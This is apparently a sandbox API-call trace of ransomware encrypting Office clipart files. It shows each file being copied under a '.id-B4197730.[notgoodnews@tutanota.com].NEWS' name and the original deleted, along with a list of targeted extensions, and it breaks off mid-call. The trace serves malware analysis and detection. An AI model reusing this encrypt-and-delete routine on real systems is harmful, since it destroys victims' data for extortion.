[0087.978] CloseHandle (hObject=0x39c) returned 1 [0087.978] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf")) returned 0x220 [0087.978] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0087.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0087.978] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0087.978] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0087.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0087.979] GetLastError () returned 0x0 [0087.979] ReadFile (in: hFile=0x39c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x5bc, lpOverlapped=0x0) returned 1 [0087.981] WriteFile (in: hFile=0x350, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x5c0, lpOverlapped=0x0) returned 1 [0087.982] ReadFile (in: hFile=0x39c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0087.982] WriteFile (in: hFile=0x350, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0087.982] SetEndOfFile (hFile=0x350) returned 1 [0087.982] CloseHandle (hObject=0x350) returned 1 [0087.982] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0087.982] SetEndOfFile (hFile=0x39c) returned 1 [0087.983] CloseHandle (hObject=0x39c) returned 1 [0087.983] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0087.983] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf")) returned 1 [0087.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0087.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0087.983] lstrlenW (lpString=".doc") returned 4 [0087.983] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0087.983] lstrlenW (lpString=".docx") returned 5 [0087.983] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0087.983] lstrlenW (lpString=".pdf") returned 4 [0087.983] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0087.983] lstrlenW (lpString=".xls") returned 4 [0087.983] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0087.984] lstrlenW (lpString=".xlsx") returned 5 [0087.984] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0087.984] lstrlenW (lpString=".ppt") returned 4 [0087.984] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0087.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0087.984] lstrlenW (lpString=".zip") returned 4 [0087.984] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0087.984] lstrlenW (lpString=".rar") returned 4 [0087.984] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0087.984] lstrlenW (lpString=".bz2") returned 4 [0087.984] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0087.984] lstrlenW (lpString=".7z") returned 3 [0087.984] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0087.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0087.984] lstrlenW (lpString=".dbf") returned 4 [0087.984] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0087.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0087.984] lstrlenW (lpString=".1cd") returned 4 [0087.984] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0087.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0087.984] lstrlenW (lpString=".jpg") returned 4 [0087.984] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0087.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0087.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0087.984] lstrlenW (lpString=".doc") returned 4 [0087.984] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0087.984] lstrlenW (lpString=".docx") returned 5 [0087.984] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0087.984] lstrlenW (lpString=".pdf") returned 4 [0087.984] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0087.984] lstrlenW (lpString=".xls") returned 4 [0087.984] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0087.984] lstrlenW (lpString=".xlsx") returned 5 [0087.984] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0087.984] lstrlenW (lpString=".ppt") returned 4 [0087.984] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0087.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0087.985] lstrlenW (lpString=".zip") returned 4 [0087.985] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0087.985] lstrlenW (lpString=".rar") returned 4 [0087.985] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0087.985] lstrlenW (lpString=".bz2") returned 4 [0087.985] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0087.985] lstrlenW (lpString=".7z") returned 3 [0087.985] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0087.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0087.985] lstrlenW (lpString=".dbf") returned 4 [0087.985] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0087.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0087.985] lstrlenW (lpString=".1cd") returned 4 [0087.985] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0087.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0087.985] lstrlenW (lpString=".jpg") returned 4 [0087.985] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0087.985] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0087.985] lstrlenW (lpString="HH00602_.WMF") returned 12 [0087.985] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0087.986] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=1400) returned 1 [0087.986] CloseHandle (hObject=0x39c) returned 1 [0087.986] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf")) returned 0x220 [0087.986] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0087.986] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0087.986] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0087.986] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0087.986] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0087.986] GetLastError () returned 0x0 [0087.986] ReadFile (in: hFile=0x39c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x578, lpOverlapped=0x0) returned 1 [0087.988] WriteFile (in: hFile=0x350, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x580, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x580, lpOverlapped=0x0) returned 1 [0087.989] ReadFile (in: hFile=0x39c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0087.989] WriteFile (in: hFile=0x350, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0087.989] SetEndOfFile (hFile=0x350) returned 1 [0087.989] CloseHandle (hObject=0x350) returned 1 [0087.989] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0087.989] SetEndOfFile (hFile=0x39c) returned 1 [0087.990] CloseHandle (hObject=0x39c) returned 1 [0087.990] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0087.990] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf")) returned 1 [0087.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0087.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0087.990] lstrlenW (lpString=".doc") returned 4 [0087.990] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0087.990] lstrlenW (lpString=".docx") returned 5 [0087.991] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0087.991] lstrlenW (lpString=".pdf") returned 4 [0087.991] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0087.991] lstrlenW (lpString=".xls") returned 4 [0087.991] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0087.991] lstrlenW (lpString=".xlsx") returned 5 [0087.991] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0087.991] lstrlenW (lpString=".ppt") returned 4 [0087.991] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0087.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0087.991] lstrlenW (lpString=".zip") returned 4 [0087.991] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0087.991] lstrlenW (lpString=".rar") returned 4 [0087.991] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0087.991] lstrlenW (lpString=".bz2") returned 4 [0087.991] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0087.991] lstrlenW (lpString=".7z") returned 3 [0087.991] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0087.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0087.991] lstrlenW (lpString=".dbf") returned 4 [0087.991] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0087.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0087.991] lstrlenW (lpString=".1cd") returned 4 [0087.991] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0087.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0087.991] lstrlenW (lpString=".jpg") returned 4 [0087.991] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0087.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0087.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0087.991] lstrlenW (lpString=".doc") returned 4 [0087.991] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0087.991] lstrlenW (lpString=".docx") returned 5 [0087.991] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0087.991] lstrlenW (lpString=".pdf") returned 4 [0087.991] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0087.992] lstrlenW (lpString=".xls") returned 4 [0087.992] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0087.992] lstrlenW (lpString=".xlsx") returned 5 [0087.992] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0087.992] lstrlenW (lpString=".ppt") returned 4 [0087.992] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0087.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0087.992] lstrlenW (lpString=".zip") returned 4 [0087.992] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0087.992] lstrlenW (lpString=".rar") returned 4 [0087.992] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0087.992] lstrlenW (lpString=".bz2") returned 4 [0087.992] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0087.992] lstrlenW (lpString=".7z") returned 3 [0087.992] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0087.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0087.992] lstrlenW (lpString=".dbf") returned 4 [0087.992] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0087.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0087.992] lstrlenW (lpString=".1cd") returned 4 [0087.992] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0087.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0087.992] lstrlenW (lpString=".jpg") returned 4 [0087.992] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0087.992] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0087.992] lstrlenW (lpString="HH00612_.WMF") returned 12 [0087.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0087.993] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=12632) returned 1 [0087.993] CloseHandle (hObject=0x39c) returned 1 [0087.993] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf")) returned 0x220 [0087.993] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0087.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0087.993] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0087.994] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0087.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0087.994] GetLastError () returned 0x0 [0087.994] ReadFile (in: hFile=0x39c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x3158, lpOverlapped=0x0) returned 1 [0087.995] WriteFile (in: hFile=0x350, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x3160, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x3160, lpOverlapped=0x0) returned 1 [0087.997] ReadFile (in: hFile=0x39c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0087.997] WriteFile (in: hFile=0x350, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0087.997] SetEndOfFile (hFile=0x350) returned 1 [0087.997] CloseHandle (hObject=0x350) returned 1 [0087.997] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0087.997] SetEndOfFile (hFile=0x39c) returned 1 [0087.998] CloseHandle (hObject=0x39c) returned 1 [0087.998] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0087.998] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf")) returned 1 [0087.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0087.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0087.999] lstrlenW (lpString=".doc") returned 4 [0087.999] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0087.999] lstrlenW (lpString=".docx") returned 5 [0087.999] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0087.999] lstrlenW (lpString=".pdf") returned 4 [0087.999] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0087.999] lstrlenW (lpString=".xls") returned 4 [0087.999] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0087.999] lstrlenW (lpString=".xlsx") returned 5 [0087.999] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0087.999] lstrlenW (lpString=".ppt") returned 4 [0087.999] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0087.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0087.999] lstrlenW (lpString=".zip") returned 4 [0087.999] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0087.999] lstrlenW (lpString=".rar") returned 4 [0087.999] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0087.999] lstrlenW (lpString=".bz2") returned 4 [0087.999] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0087.999] lstrlenW (lpString=".7z") returned 3 [0087.999] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0087.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0087.999] lstrlenW (lpString=".dbf") returned 4 [0087.999] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0087.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0087.999] lstrlenW (lpString=".1cd") returned 4 [0087.999] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0087.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0087.999] lstrlenW (lpString=".jpg") returned 4 [0087.999] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0087.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0087.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0087.999] lstrlenW (lpString=".doc") returned 4 [0087.999] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0088.000] lstrlenW (lpString=".docx") returned 5 [0088.000] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0088.000] lstrlenW (lpString=".pdf") returned 4 [0088.000] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0088.000] lstrlenW (lpString=".xls") returned 4 [0088.000] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0088.000] lstrlenW (lpString=".xlsx") returned 5 [0088.000] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0088.000] lstrlenW (lpString=".ppt") returned 4 [0088.000] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0088.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0088.000] lstrlenW (lpString=".zip") returned 4 [0088.000] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0088.000] lstrlenW (lpString=".rar") returned 4 [0088.000] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0088.000] lstrlenW (lpString=".bz2") returned 4 [0088.000] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0088.000] lstrlenW (lpString=".7z") returned 3 [0088.000] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0088.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0088.000] lstrlenW (lpString=".dbf") returned 4 [0088.000] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0088.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0088.000] lstrlenW (lpString=".1cd") returned 4 [0088.000] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0088.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0088.000] lstrlenW (lpString=".jpg") returned 4 [0088.000] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0088.000] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0088.000] lstrlenW (lpString="HH00623_.WMF") returned 12 [0088.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0088.001] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=10644) returned 1 [0088.001] CloseHandle (hObject=0x39c) returned 1 [0088.001] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf")) returned 0x220 [0088.001] GetFileAttributesW 